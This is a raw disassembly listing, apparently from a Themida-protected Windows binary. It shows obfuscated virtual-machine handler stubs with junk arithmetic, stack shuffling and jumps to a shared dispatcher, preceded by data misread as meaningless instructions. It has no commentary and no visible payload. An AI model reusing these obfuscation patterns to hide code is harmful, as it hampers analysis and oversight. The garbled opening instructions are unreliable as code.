xchg ebx, [ecx+0] mov dh, 0D4h pop ecx add [eax+eax-25E1FFA7h], bh pop ecx add [ebp+8005A29h], ah imul ebx, [ecx+0], 4Fh fstp qword ptr [ecx+0] rol edi, cl pop ecx add [ecx], ah pop eax pop ecx add bl, dl xor [edx+0], ebx xor dh, ds:30840059h pop edx add [esi-7EFFA66Ah], ah pop edx pop ecx add [ecx], ch or eax, 0D34F005Ah pop ecx add [esi], al cli pop eax add [ebp-26FFA621h], bh scasd pop ecx add [esi+1Ah], dl pop ecx add ds:8E005949h, dl mov edi, 4D40059h pop ecx add ds:0E5005941h, bh sbb [edx+0], bl sbb [ebx], cl pop edx add [edi+20h], al pop ecx add [edx], dl iret ; --------------------------------------------------------------------------- dw 59h dd offset loc_58FB97 dd offset loc_5A1711 ; --------------------------------------------------------------------------- loc_58E30C: ; CODE XREF: Themida_:005D45BEj ; sub_5E67F9+ECj ... pusha pushf cld call $+5 pop edi sub edi, 61648E5h mov eax, edi add edi, 61645FDh cmp eax, [edi+2Ch] jnz short loc_58E32A jmp short loc_58E33D ; --------------------------------------------------------------------------- loc_58E32A: ; CODE XREF: sub_57DD3A+105ECj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_58E339 ; --------------------------------------------------------------------------- loc_58E334: ; CODE XREF: sub_57DD3A+10601j add [edi+ecx*4+40h], eax dec ecx loc_58E339: ; CODE XREF: sub_57DD3A+105F8j or ecx, ecx jnz short loc_58E334 loc_58E33D: ; CODE XREF: sub_57DD3A+105EEj mov esi, [esp+14h+arg_A+2] mov ebx, esi add esi, eax mov ecx, 1 loc_58E34A: ; CODE XREF: sub_57DD3A+10617j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_58E34A loc_58E353: ; CODE XREF: sub_57DD3A+106DDj ; sub_57DD3A+106EAj ... lodsb jmp loc_598255 ; --------------------------------------------------------------------------- loc_58E359: ; CODE XREF: sub_57DD3A+19F6Bj sub ebx, 417CEFBh jmp loc_5A0952 ; --------------------------------------------------------------------------- loc_58E364: ; CODE XREF: sub_57DD3A+1473Dj add esp, 4 std jmp loc_58FBEE ; --------------------------------------------------------------------------- loc_58E370: ; CODE XREF: sub_57DD3A+1C99Aj or esi, 40536CB2h sub esi, 48E005D6h sub esi, 91B69E0h add edx, esi pop esi add edx, 4 xchg edx, [esp+0Ch+var_E+2] jmp loc_5A32B4 ; --------------------------------------------------------------------------- loc_58E393: ; CODE XREF: sub_57DD3A+1CF0Ej sub ecx, 4 xchg ecx, [esp+0Ch+var_E+2] pop esp jmp loc_59F0E3 ; --------------------------------------------------------------------------- loc_58E39F: ; CODE XREF: sub_57DD3A+1FE08j mov [esp+8+var_8], eax mov ah, 32h mov dl, ah jmp loc_58EA2A ; --------------------------------------------------------------------------- loc_58E3AB: ; CODE XREF: sub_57DD3A+18C34j add ebp, 67704460h pop ebx sub esp, 4 mov [esp+8+var_8], ecx jmp loc_59987B ; --------------------------------------------------------------------------- loc_58E3C0: ; CODE XREF: sub_57DD3A+22009j neg ebp and ebp, 30163A31h jmp loc_5A2F6A ; --------------------------------------------------------------------------- loc_58E3CD: ; CODE XREF: sub_57DD3A+19425j xor eax, esi pop esi push ebp mov ebp, 663B1D10h jmp loc_59B3F9 ; --------------------------------------------------------------------------- loc_58E3DB: ; CODE XREF: sub_57DD3A+1D3C0j sub esp, 4 mov [esp+0Ch+var_E+2], esp add [esp+0Ch+var_E+2], 4 mov edx, [esp+0Ch+var_E+2] add esp, 4 add edx, 4 push ebx push 1F2Bh mov [esp+10h+var_12+2], ebp push 3A93652Ch mov ebp, [esp+14h+var_16+2] jmp loc_593E2A ; --------------------------------------------------------------------------- loc_58E40A: ; CODE XREF: sub_57DD3A+15F23j push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp+14h+var_16+2] pop esp jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58E41C: ; CODE XREF: sub_57DD3A+1F109j pop [esp+10h+var_12+2] pop esp shl byte ptr [esp+8+var_8], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58E429: ; CODE XREF: sub_57DD3A+252B0j mov esi, 4 mov ebp, esi pop esi add edx, ebp pop ebp xor edx, [esp+4+var_4] xor [esp+4+var_4], edx xor edx, [esp+4+var_4] mov esp, [esp+4+var_4] push [esp+4+var_4] push [esp+8+var_8] jmp loc_5A20E4 ; --------------------------------------------------------------------------- loc_58E44B: ; CODE XREF: sub_57DD3A+1F8BAj push 0 pop ebx sub ebx, 69907FFFh push edx mov edx, 69EF2F10h sub ebx, edx pop edx jmp loc_592E7A ; --------------------------------------------------------------------------- loc_58E465: ; CODE XREF: sub_57DD3A+1BC57j pop esi xor ebx, 5114593Ch jmp loc_596BE0 ; --------------------------------------------------------------------------- loc_58E471: ; CODE XREF: sub_57DD3A+1A4CDj add esp, 4 jmp loc_59F82E ; --------------------------------------------------------------------------- loc_58E479: ; CODE XREF: sub_57DD3A+10804j mov esp, [esp+4+var_4] push 6DF5h jmp loc_596694 ; --------------------------------------------------------------------------- loc_58E486: ; DATA XREF: sub_57DD3A+1034Ao push [esp+8+var_8] push [esp+0Ch+var_E+2] pop ecx add esp, 4 push 409h mov [esp+0Ch+var_E+2], esi push 5621h mov [esp+10h+var_12+2], esp sub esp, 4 mov [esp+14h+var_16+2], ebp push 50EBh mov [esp+18h+var_1A+2], ebx jmp loc_59F065 ; --------------------------------------------------------------------------- loc_58E4B3: ; CODE XREF: sub_57DD3A+196CAj sub ebx, 780143A2h add ebx, 593863F1h add ebx, esi sub ebx, 593863F1h add ebx, 780143A2h pop esi xor ebx, [esp+14h+var_16+2] xor [esp+14h+var_16+2], ebx xor ebx, [esp+14h+var_16+2] mov esp, [esp+14h+var_16+2] sub word ptr [esp+14h+var_16+2], ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58E4E4: ; CODE XREF: sub_57DD3A+22E5Cj add ebp, 73FA37E8h add ebp, 4A74318Ah jmp loc_5A1D43 ; --------------------------------------------------------------------------- loc_58E4F5: ; CODE XREF: sub_57DD3A+1F55Aj add eax, 1DC853D1h sub eax, 9BB2EE2h sub eax, edx add eax, 9BB2EE2h sub eax, 1DC853D1h pop edx add eax, 6FFB08ADh jmp loc_599639 ; --------------------------------------------------------------------------- loc_58E516: ; CODE XREF: sub_57DD3A+1E7D5j push edx jmp loc_592695 ; --------------------------------------------------------------------------- loc_58E51C: ; CODE XREF: sub_57DD3A+23BF9j xor esi, 4AE63FF6h neg esi push eax mov eax, 0B3DE9AA4h sub esi, eax pop eax sub ecx, esi pop esi jmp loc_59EE67 ; --------------------------------------------------------------------------- loc_58E535: ; CODE XREF: sub_57DD3A+2070Cj add esi, 4 xchg esi, [esp+14h+var_16+2] jmp loc_58E479 ; --------------------------------------------------------------------------- loc_58E543: ; CODE XREF: sub_57DD3A+24B48j mov edi, 4 jmp loc_59C045 ; --------------------------------------------------------------------------- loc_58E54D: ; CODE XREF: sub_57DD3A+1C77Dj pop ecx add esp, 4 pop eax push ebx push ecx jmp loc_5930FA ; --------------------------------------------------------------------------- loc_58E55C: ; CODE XREF: sub_57DD3A+1B620j push 5D31FDAh push [esp+14h+var_16+2] pop edx add esp, 4 push ecx sub esp, 4 mov [esp+18h+var_1A+2], edx mov edx, 0 jmp loc_595029 ; --------------------------------------------------------------------------- loc_58E57F: ; CODE XREF: sub_57DD3A+1ECAFj add ebx, 65D80409h add ebx, edx sub ebx, 65D80409h pop edx push ebx push [esp+18h+var_16+2] push [esp+1Ch+var_1E+2] pop ebx add esp, 4 jmp loc_58FCB8 ; --------------------------------------------------------------------------- loc_58E5A2: ; CODE XREF: sub_57DD3A+1C064j add ebp, edx pop edx jmp loc_596582 ; --------------------------------------------------------------------------- loc_58E5AA: ; CODE XREF: sub_57DD3A+12A4Ej mov word ptr [esp+14h+var_16+2], cx jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58E5B3: ; CODE XREF: sub_57DD3A+22507j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58E5B8: ; CODE XREF: sub_57DD3A+11208j xor eax, ecx xor eax, ecx jmp loc_593FC7 ; --------------------------------------------------------------------------- loc_58E5C1: ; CODE XREF: sub_57DD3A+17AC3j mov edx, 1 sub ebp, edx pop edx xor ebp, 20A10F3h or edx, ebp mov ebp, [esp+10h+var_12+2] add esp, 4 push 235Dh mov [esp+10h+var_12+2], ecx jmp loc_590C8F ; --------------------------------------------------------------------------- loc_58E5E4: ; CODE XREF: sub_57DD3A+24AF8j mov [esp+10h+var_12+2], esi push edi jmp loc_592384 ; --------------------------------------------------------------------------- loc_58E5ED: ; CODE XREF: sub_57DD3A+11D45j add [esp+14h+var_12+2], eax jmp loc_59C30B ; --------------------------------------------------------------------------- loc_58E5F6: ; CODE XREF: sub_57DD3A+196A1j sub esp, 4 jmp loc_5A107A ; --------------------------------------------------------------------------- loc_58E601: ; CODE XREF: sub_57DD3A+16DF0j add eax, esi pop esi add eax, 2 xor eax, [esp+14h+var_16+2] xor [esp+14h+var_16+2], eax xor eax, [esp+14h+var_16+2] pop esp jmp loc_594477 ; --------------------------------------------------------------------------- loc_58E616: ; CODE XREF: sub_57DD3A+23FC5j sub edi, 4 xchg edi, [esp+10h+var_12+2] mov esp, [esp+10h+var_12+2] mov [esp+10h+var_12+2], edx mov edx, 0 jmp loc_598BD0 ; --------------------------------------------------------------------------- loc_58E62F: ; CODE XREF: sub_57DD3A+2504Bj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+10h+var_12+2] pop esp push 0C9Dh mov [esp+10h+var_12+2], ebp push esp jmp loc_5A2B59 ; --------------------------------------------------------------------------- loc_58E64C: ; CODE XREF: sub_57DD3A+1F5D0j add ecx, eax add ecx, 124603Ch mov eax, [esp+14h+var_16+2] jmp loc_59CE0A ; --------------------------------------------------------------------------- loc_58E65C: ; CODE XREF: sub_57DD3A+1182Ej add esp, 4 pop [esp+10h+var_12+2] mov esp, [esp+0Ch+var_E+2] add word ptr [esp+0Ch+var_E+2], ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58E66F: ; CODE XREF: sub_57DD3A+18CB0j mov ch, 47h shr ch, 1 jmp loc_59E110 ; --------------------------------------------------------------------------- loc_58E678: ; CODE XREF: sub_57DD3A+15CE3j add esi, 7CEB113Ch shl esi, 5 dec esi push 7EBCh mov [esp+14h+var_16+2], ecx mov ecx, 5FDC77C0h shl ecx, 3 and ecx, 49974322h or ecx, 2D4455B5h push eax mov eax, 5CD42D48h and ecx, eax jmp loc_5A0BA3 ; --------------------------------------------------------------------------- loc_58E6AB: ; CODE XREF: sub_57DD3A+23F68j add esp, 4 pop ecx push edi mov edi, 4 add edx, 6326BBh add edx, edi sub esp, 4 jmp loc_5A2CD4 ; --------------------------------------------------------------------------- loc_58E6C5: ; CODE XREF: sub_57DD3A+20366j dec ebp jmp loc_5A18AF ; --------------------------------------------------------------------------- loc_58E6CB: ; CODE XREF: sub_57DD3A+140B4j pop ecx add esp, 4 shl edi, 6 neg edi and edi, 2C897D21h inc edi add edi, 8E7AB9D3h jmp loc_5999C9 ; --------------------------------------------------------------------------- loc_58E6E9: ; CODE XREF: sub_57DD3A+18B39j mov edx, 17A63F93h jmp loc_59A035 ; --------------------------------------------------------------------------- loc_58E6F3: ; CODE XREF: sub_57DD3A+214F6j mov ecx, 61CA77AFh and ecx, 5EA66B5Eh or ecx, 14AB0FC8h xor ecx, 67BD631Bh jmp loc_59DA9E ; --------------------------------------------------------------------------- push 4CA1h mov [esp+14h+var_16+2], edi mov edi, esp add edi, 4 jmp loc_59B3D6 ; --------------------------------------------------------------------------- loc_58E724: ; CODE XREF: sub_57DD3A+18B10j add esp, 4 pop ecx jmp loc_59F532 ; --------------------------------------------------------------------------- loc_58E72D: ; CODE XREF: sub_57DD3A+1BAA8j sub ebp, 0B9536393h add esi, ebp pop ebp sub esi, 1 xor esi, 70A05551h push esi mov eax, [esp+0Ch+var_E+2] jmp loc_5A10AC ; --------------------------------------------------------------------------- loc_58E74B: ; CODE XREF: sub_57DD3A+2431Aj pop [esp+0Ch+var_E+2] push eax mov eax, 4 add [esp+0Ch+var_8], eax jmp loc_598D4D ; --------------------------------------------------------------------------- loc_58E75D: ; CODE XREF: sub_57DD3A+115F3j pop esi sub eax, 3F027405h add eax, edi push ebp mov ebp, 44B847CDh xor ebp, 7BBA33C8h add eax, ebp pop ebp push edx push ebp push esi mov esi, 3B5E6ACAh jmp loc_597126 ; --------------------------------------------------------------------------- loc_58E781: ; CODE XREF: sub_57DD3A+1A463j pop esi push ecx mov ecx, 43A8705Ch dec ecx or ecx, 485E030Eh dec ecx dec ecx sub ecx, 0B4B207Ch add esi, 0B9D474Ch sub esi, ecx sub esi, 0B9D474Ch pop ecx jmp loc_595AAF ; --------------------------------------------------------------------------- loc_58E7AB: ; CODE XREF: sub_57DD3A+1633Aj sub esp, 4 mov [esp+14h+var_16+2], eax mov eax, esi push 6611h mov [esp+18h+var_1A+2], eax xor [esp+18h+var_1A+2], 4CEB6DF3h pop edi push edx mov edx, 25235A83h shr edx, 1 dec edx jmp loc_595C47 ; --------------------------------------------------------------------------- loc_58E7D4: ; CODE XREF: sub_57DD3A+13046j pop esi add esp, 4 sub ebx, esi mov esi, [esp+10h+var_12+2] push ebp push esp pop ebp add ebp, 4 add ebp, 4 jmp loc_598BB0 ; --------------------------------------------------------------------------- loc_58E7F1: ; CODE XREF: sub_57DD3A+232C4j dec edi sub esp, 4 mov [esp+18h+var_1A+2], ebp jmp loc_591A7E ; --------------------------------------------------------------------------- loc_58E800: ; CODE XREF: sub_57DD3A+1C958j mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp+18h+var_1A+2] xor [esp+18h+var_1A+2], esi jmp loc_59A9F8 ; --------------------------------------------------------------------------- loc_58E816: ; CODE XREF: sub_57DD3A+1D02Cj pop ebp push eax mov eax, 4 add ebp, eax pop eax add ebp, 4 xor ebp, [esp+14h+var_16+2] xor [esp+14h+var_16+2], ebp xor ebp, [esp+14h+var_16+2] mov esp, [esp+14h+var_16+2] pop [esp+14h+var_16+2] jmp loc_59D110 ; --------------------------------------------------------------------------- loc_58E837: ; CODE XREF: sub_57DD3A+11D08j xor esi, 258F36B7h push edi mov edi, 1582638Ah xor esi, edi pop edi or edx, esi pop esi push ecx jmp loc_58F9B8 ; --------------------------------------------------------------------------- loc_58E84F: ; CODE XREF: sub_57DD3A+146CEj add al, bh add al, 27h mov ebx, [esp+10h+var_12+2] add esp, 4 push bx mov bh, 57h jmp loc_5995F7 ; --------------------------------------------------------------------------- loc_58E862: ; CODE XREF: sub_57DD3A+15DBDj xchg ebp, [esp+0Eh+var_E] mov esp, [esp+0Eh+var_E] jmp loc_5A2EAD ; --------------------------------------------------------------------------- loc_58E86D: ; CODE XREF: sub_57DD3A+11001j add esp, 4 push eax jmp loc_59E2F0 ; --------------------------------------------------------------------------- loc_58E876: ; CODE XREF: sub_57DD3A+10D9Fj push ebp mov ebp, 1 add edi, ebp pop ebp sub edi, 2AEB3686h jmp loc_5A2467 ; --------------------------------------------------------------------------- loc_58E88A: ; CODE XREF: sub_57DD3A+22873j xor ecx, ebx pop ebx mov edx, ecx pop ecx add edx, 37693D44h add edx, eax jmp loc_599D84 ; --------------------------------------------------------------------------- loc_58E89D: ; CODE XREF: sub_57DD3A+1D6FEj xor byte ptr [esp+6+var_8+2], bh xor bh, byte ptr [esp+6+var_8+2] xor byte ptr [esp+6+var_8+2], bh jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58E8AB: ; CODE XREF: sub_57DD3A+133C0j push eax mov eax, 48C6348Bh xor eax, 3E7A414Ch mov ecx, eax pop eax sub eax, ecx mov ecx, [esp+6+var_8+2] add esp, 4 sub eax, 1AF7016Bh add eax, 98B1DA1h add eax, edi jmp loc_59C615 ; --------------------------------------------------------------------------- loc_58E8D5: ; CODE XREF: sub_57DD3A+12A1Ej mov dl, 62h add dl, 67h jmp loc_59D8E2 ; --------------------------------------------------------------------------- loc_58E8DF: ; CODE XREF: sub_57DD3A+1D7C2j mov [esp+2+var_4+2], edi mov edi, 33AE4EECh add edi, 5F233868h shr edi, 1 push ebx jmp loc_599203 ; --------------------------------------------------------------------------- loc_58E8F5: ; CODE XREF: sub_57DD3A+184AEj pop ecx sub esp, 4 mov [esp+6+var_8+2], esi mov esi, esp add esi, 4 jmp loc_597E93 ; --------------------------------------------------------------------------- loc_58E90C: ; CODE XREF: sub_57DD3A+21A6Cj add edi, 72712D2Ch jmp loc_5A2BE8 ; --------------------------------------------------------------------------- loc_58E917: ; CODE XREF: sub_57DD3A+1A946j add dl, 38h jmp loc_59248B ; --------------------------------------------------------------------------- loc_58E91F: ; CODE XREF: sub_57DD3A+15AEEj inc edx dec edx add edx, 2B4BD6F5h jmp loc_5998E4 ; --------------------------------------------------------------------------- loc_58E92C: ; CODE XREF: sub_57DD3A+15D99j mov [esp+6+var_8+2], ebp jmp loc_592A4E ; --------------------------------------------------------------------------- loc_58E934: ; CODE XREF: sub_57DD3A+12876j pop ebp not edx push 4940h mov [esp+6+var_8+2], ebp mov ebp, 7388034Bh shr ebp, 8 add ebp, 0BD089A2h sub edx, ebp pop ebp add edx, 0C5B20111h sub ebp, 406F2C5Ah add ebp, edx add ebp, 406F2C5Ah jmp loc_591F42 ; --------------------------------------------------------------------------- loc_58E969: ; CODE XREF: sub_57DD3A+16409j push [esp+2+var_4+2] mov edi, [esp+6+var_8+2] add esp, 4 push 4095h jmp loc_59F882 ; --------------------------------------------------------------------------- loc_58E97F: ; CODE XREF: sub_57DD3A+1D7E9j add ch, 0C3h add ch, 0A6h jmp loc_594417 ; --------------------------------------------------------------------------- loc_58E98A: ; CODE XREF: sub_57DD3A+21997j add ecx, 451059Dh jmp loc_592165 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push small 3FFBh mov word ptr [esp+8+var_8], ax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58E9A7: ; CODE XREF: sub_57DD3A+21437j mov ecx, 40E56F2Dh sub edx, ecx jmp loc_5A0B2E ; --------------------------------------------------------------------------- loc_58E9B3: ; CODE XREF: sub_57DD3A+1CDA0j and edx, ebp mov ebp, [esp+8+var_8] add esp, 4 dec edx shr edx, 8 shl edx, 1 jmp loc_596BC8 ; --------------------------------------------------------------------------- loc_58E9C9: ; CODE XREF: sub_57DD3A+12106j add esp, 4 jmp loc_58F19F ; --------------------------------------------------------------------------- loc_58E9D1: ; CODE XREF: sub_57DD3A+136A6j add ebx, 4 jmp loc_593233 ; --------------------------------------------------------------------------- loc_58E9DC: ; CODE XREF: sub_57DD3A+1C3D8j sub esp, 4 mov [esp+4+var_4], edx mov edx, esp jmp loc_59E097 ; --------------------------------------------------------------------------- loc_58E9EC: ; DATA XREF: sub_57DD3A+1051Ao push dword ptr [edi+1Ch] popf pop ax adc byte ptr [esp+2+var_4+2], al pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58E9FB: ; CODE XREF: sub_57DD3A+1C49Aj add esp, 4 push ax jmp loc_591CE5 ; --------------------------------------------------------------------------- loc_58EA05: ; CODE XREF: sub_57DD3A+1F895j pop eax xchg esi, [esp+0] mov esp, [esp+0] add esp, 4 push dword ptr [esp] pop eax push edi push 201Ch jmp loc_590320 ; --------------------------------------------------------------------------- loc_58EA21: ; CODE XREF: sub_57DD3A+1DEE7j pop small word ptr [esp+4+var_4] jmp loc_590075 ; --------------------------------------------------------------------------- loc_58EA2A: ; CODE XREF: sub_57DD3A+1066Cj mov eax, [esp+8+var_8] push 7DA4h jmp loc_5A0F19 ; --------------------------------------------------------------------------- loc_58EA37: ; CODE XREF: sub_57DD3A+1FEFEj pop ebp push esi mov esi, 4546241Eh xor esi, 58306BC8h push edi jmp loc_58FE55 ; --------------------------------------------------------------------------- loc_58EA4A: ; CODE XREF: sub_57DD3A+195D3j sub ebx, 75346506h jmp loc_5A0E2C ; --------------------------------------------------------------------------- loc_58EA55: ; CODE XREF: sub_57DD3A+21BADj push ebp push esp jmp loc_590032 ; --------------------------------------------------------------------------- loc_58EA5C: ; CODE XREF: sub_57DD3A+1284Aj push ebx jmp loc_5A19FB ; --------------------------------------------------------------------------- loc_58EA62: ; CODE XREF: sub_57DD3A+24FB0j push ecx mov ecx, 321663ABh jmp loc_59BBAE ; --------------------------------------------------------------------------- loc_58EA6D: ; CODE XREF: sub_57DD3A+1CA30j add eax, edx mov edx, [esp+20h+var_22+2] add esp, 4 xor eax, 59566EB2h sub edx, 6B616F0h sub edx, 24144087h jmp loc_59D8FA ; --------------------------------------------------------------------------- loc_58EA8B: ; CODE XREF: sub_57DD3A+1AA0Aj mov eax, 4 add esi, eax pop eax jmp loc_58FBF8 ; --------------------------------------------------------------------------- loc_58EA98: ; CODE XREF: sub_57DD3A+1563Ej sub [esp+18h+var_1A+2], eax add [esp+18h+var_1A+2], 3226732Eh push edx jmp loc_597AF3 ; --------------------------------------------------------------------------- loc_58EAA8: ; CODE XREF: sub_57DD3A+1AC29j pop ebp add edx, 0FDE846BEh jmp loc_59441F ; --------------------------------------------------------------------------- loc_58EAB4: ; CODE XREF: sub_57DD3A+1DBADj xor [esp+18h+var_1A+2], edx xor edx, [esp+18h+var_1A+2] pop esp mov [esp+14h+var_16+2], ebx push eax mov eax, 61541C08h add [esp+18h+var_16+2], eax jmp loc_59356A ; --------------------------------------------------------------------------- loc_58EACD: ; CODE XREF: sub_57DD3A+2296Fj push ebp jmp loc_592D0E ; --------------------------------------------------------------------------- loc_58EAD3: ; CODE XREF: sub_57DD3A+23695j add edi, 1EF72C7Ah jmp loc_58E876 ; --------------------------------------------------------------------------- loc_58EADE: ; CODE XREF: sub_57DD3A+21A05j pop ebx sub ecx, edi xchg ecx, edi jmp loc_59214C ; --------------------------------------------------------------------------- loc_58EAE8: ; CODE XREF: sub_57DD3A+1C6AAj mov [esp+18h+var_1A+2], edi pop edx jmp loc_590A5C ; --------------------------------------------------------------------------- loc_58EAF1: ; CODE XREF: sub_57DD3A+1B323j push [esp+14h+var_16+2] mov ecx, [esp+18h+var_1A+2] add esp, 4 jmp loc_5A022D ; --------------------------------------------------------------------------- loc_58EB02: ; CODE XREF: sub_57DD3A+13F2Aj add ebp, edi jmp loc_59B21D ; --------------------------------------------------------------------------- loc_58EB09: ; CODE XREF: sub_57DD3A+14016j add edx, ecx push 252Ah mov [esp+18h+var_1A+2], ebp mov ebp, 3BA64284h shr ebp, 6 xor ebp, 189DA039h add edx, ebp mov ebp, [esp+18h+var_1A+2] add esp, 4 pop ecx push edi mov edi, 4 add edx, edi pop edi push edx push [esp+14h+var_12+2] pop edx pop [esp+14h+var_16+2] pop esp push ebp push 3941h mov [esp+14h+var_16+2], esp push ebx mov ebx, 4 add [esp+18h+var_16+2], ebx pop ebx pop ebp push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 xor ebp, [esp+10h+var_12+2] xor [esp+10h+var_12+2], ebp xor ebp, [esp+10h+var_12+2] mov esp, [esp+10h+var_12+2] cmp ecx, eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58EB78: ; CODE XREF: sub_57DD3A+1ECC9j push ebx jmp loc_5A0CBF ; --------------------------------------------------------------------------- loc_58EB7E: ; CODE XREF: sub_57DD3A+16479j mov [esp+18h+var_1A+2], ebp mov ebp, esp push esi jmp loc_594D6D ; --------------------------------------------------------------------------- loc_58EB89: ; CODE XREF: sub_57DD3A+158C9j push edi push 52CF560Dh pop edi shr edi, 6 shr edi, 4 sub edi, 0EAB0AB79h jmp loc_592D8F ; --------------------------------------------------------------------------- loc_58EBA1: ; CODE XREF: sub_57DD3A+20B57j push ebp sub esp, 4 mov [esp+28h+var_2A+2], esi jmp loc_59073B ; --------------------------------------------------------------------------- loc_58EBAD: ; CODE XREF: sub_57DD3A+1CF1Aj xor dl, al pop ax jmp loc_5959D7 ; --------------------------------------------------------------------------- loc_58EBB6: ; CODE XREF: sub_57DD3A+14F4Ej mov edi, 0A6708C44h sub ecx, edi pop edi sub edx, ecx pop ecx jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58EBC6: ; CODE XREF: sub_57DD3A+17AB3j add esi, 4 sub esi, 4 xchg esi, [esp+1Eh+var_1E] pop esp mov [esp+1Ah+var_1A], edi mov edi, 4 add edx, edi pop edi push ebx jmp loc_59425C ; --------------------------------------------------------------------------- loc_58EBE7: ; CODE XREF: sub_57DD3A+190F8j pop esi sub esi, ebp pop ebp push ebp mov ebp, 7BD67CE8h shl ebp, 4 shr ebp, 8 neg ebp not ebp add ebp, 706606BEh add ebp, 966ECF97h jmp loc_5A08EF ; --------------------------------------------------------------------------- loc_58EC0C: ; CODE XREF: sub_57DD3A+18189j push 26706A19h jmp loc_59D7D8 ; --------------------------------------------------------------------------- loc_58EC16: ; CODE XREF: sub_57DD3A+17E64j dec edi jmp loc_5934E1 ; --------------------------------------------------------------------------- loc_58EC1C: ; CODE XREF: sub_57DD3A+24AE8j push ecx sub esp, 4 mov [esp+22h+var_22], esp add [esp+22h+var_22], 4 pop ecx add ecx, 4 push edi mov edi, 4 add ecx, 30C93024h add ecx, edi sub ecx, 30C93024h pop edi xor ecx, [esp+1Eh+var_1E] xor [esp+1Eh+var_1E], ecx jmp loc_59719E ; --------------------------------------------------------------------------- loc_58EC51: ; CODE XREF: sub_57DD3A+23887j mov eax, 6AB0918h inc eax or eax, 72D7076Fh add eax, 1 xchg eax, esi not esi jmp loc_592124 ; --------------------------------------------------------------------------- loc_58EC67: ; CODE XREF: sub_57DD3A+1A85Ej push ebx mov ebx, 733A11FEh shl ebx, 1 not ebx sub ebx, 198BDBFFh add eax, ebx mov ebx, [esp+22h+var_22] add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+22h+var_22] pop esp mov [esp+1Eh+var_1E], edi jmp loc_58F332 ; --------------------------------------------------------------------------- loc_58EC98: ; CODE XREF: sub_57DD3A+23488j pop ebp pop eax push ebp mov ebp, 4 add edx, ebp mov ebp, [esp+1Ah+var_1A] push edx mov edx, esp jmp loc_598F10 ; --------------------------------------------------------------------------- loc_58ECAD: ; CODE XREF: sub_57DD3A+1A516j sub edi, 71C4479Fh add edi, 51840BCCh add edi, ebx sub edi, 51840BCCh jmp loc_5911B2 ; --------------------------------------------------------------------------- loc_58ECC6: ; CODE XREF: sub_57DD3A+250CDj mov edx, 205A688Fh xor ebp, edx pop edx jmp loc_59ED9D ; --------------------------------------------------------------------------- loc_58ECD3: ; CODE XREF: sub_57DD3A+13AD3j or esi, 1E2D1FBDh add esi, 57522592h not esi sub esi, 54652D3Fh add ebx, esi pop esi sub ebx, eax push eax mov eax, 59BA5C3Eh dec eax jmp loc_59D1A9 ; --------------------------------------------------------------------------- loc_58ECF8: ; CODE XREF: sub_57DD3A+2452Aj sub [esp+1Ah+var_12], 1FE86CE9h push [esp+1Ah+var_1A] mov ecx, [esp+1Eh+var_1E] add esp, 4 push 56BDh mov [esp+1Eh+var_1E], ebx jmp loc_59470F ; --------------------------------------------------------------------------- loc_58ED19: ; CODE XREF: sub_57DD3A+1B252j push eax mov ah, 17h jmp loc_59BB37 ; --------------------------------------------------------------------------- loc_58ED21: ; CODE XREF: sub_57DD3A+14C99j xor cl, 27h not cl xor cl, 0CBh add al, 0ADh add al, cl sub al, 0ADh push [esp+22h+var_22] mov ecx, [esp+26h+var_26] add esp, 4 jmp loc_58E86D ; --------------------------------------------------------------------------- loc_58ED40: ; CODE XREF: sub_57DD3A+138BFj push esi mov esi, 0EAE4D7F8h mov edx, esi pop esi mov edi, edx pop edx add ebx, edi push [esp+1Eh+var_1E] pop edi add esp, 4 xor eax, ebx pop ebx push 565Dh mov [esp+1Ah+var_1A], esi push edx push ebx mov ebx, 569D35E8h jmp loc_59FAA3 ; --------------------------------------------------------------------------- loc_58ED6F: ; CODE XREF: sub_57DD3A+20848j push 5DC7h jmp loc_598655 ; --------------------------------------------------------------------------- loc_58ED79: ; CODE XREF: sub_57DD3A+205F6j add ebx, edx jmp loc_597A8A ; --------------------------------------------------------------------------- loc_58ED80: ; CODE XREF: sub_57DD3A+231DAj popf jmp locret_59200C ; --------------------------------------------------------------------------- loc_58ED86: ; CODE XREF: sub_57DD3A+180DCj add esi, 4 add esi, 4 xchg esi, [esp+22h+var_22] pop esp jmp loc_591C69 ; --------------------------------------------------------------------------- loc_58ED98: ; CODE XREF: sub_57DD3A+1B987j push [esp+1Eh+var_1E] pop edx push 54B0h mov [esp+22h+var_22], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp+26h+var_26], ebp jmp loc_595BD6 ; --------------------------------------------------------------------------- loc_58EDB7: ; CODE XREF: sub_57DD3A+17BA6j mov ebx, 0 jmp loc_59F62B ; --------------------------------------------------------------------------- loc_58EDC1: ; CODE XREF: sub_57DD3A+183A6j pop [esp+26h+var_26] pop esp mov [esp+1Eh+var_1E], eax jmp loc_5999DA ; --------------------------------------------------------------------------- loc_58EDCD: ; CODE XREF: sub_57DD3A+20F8Cj add ebx, 4 sub ebx, 4 push ebx push [esp+22h+var_1E] pop ebx pop [esp+22h+var_22] jmp loc_59A911 ; --------------------------------------------------------------------------- loc_58EDE4: ; CODE XREF: sub_57DD3A+1A9C7j pop eax jmp loc_5A1448 ; --------------------------------------------------------------------------- loc_58EDEA: ; CODE XREF: sub_57DD3A+1549Fj push ebx push [esp+1Eh+var_1A] jmp loc_59A6F0 ; --------------------------------------------------------------------------- loc_58EDF4: ; CODE XREF: sub_57DD3A+2524Dj mov ebx, [esp+22h+var_22] add esp, 4 push esi mov esi, 7E2B3044h push eax push 20C7752Fh pop eax not eax neg eax shl eax, 4 xor eax, 8D1CDF80h mov ebx, eax pop eax sub ebx, esi jmp loc_591A4A ; 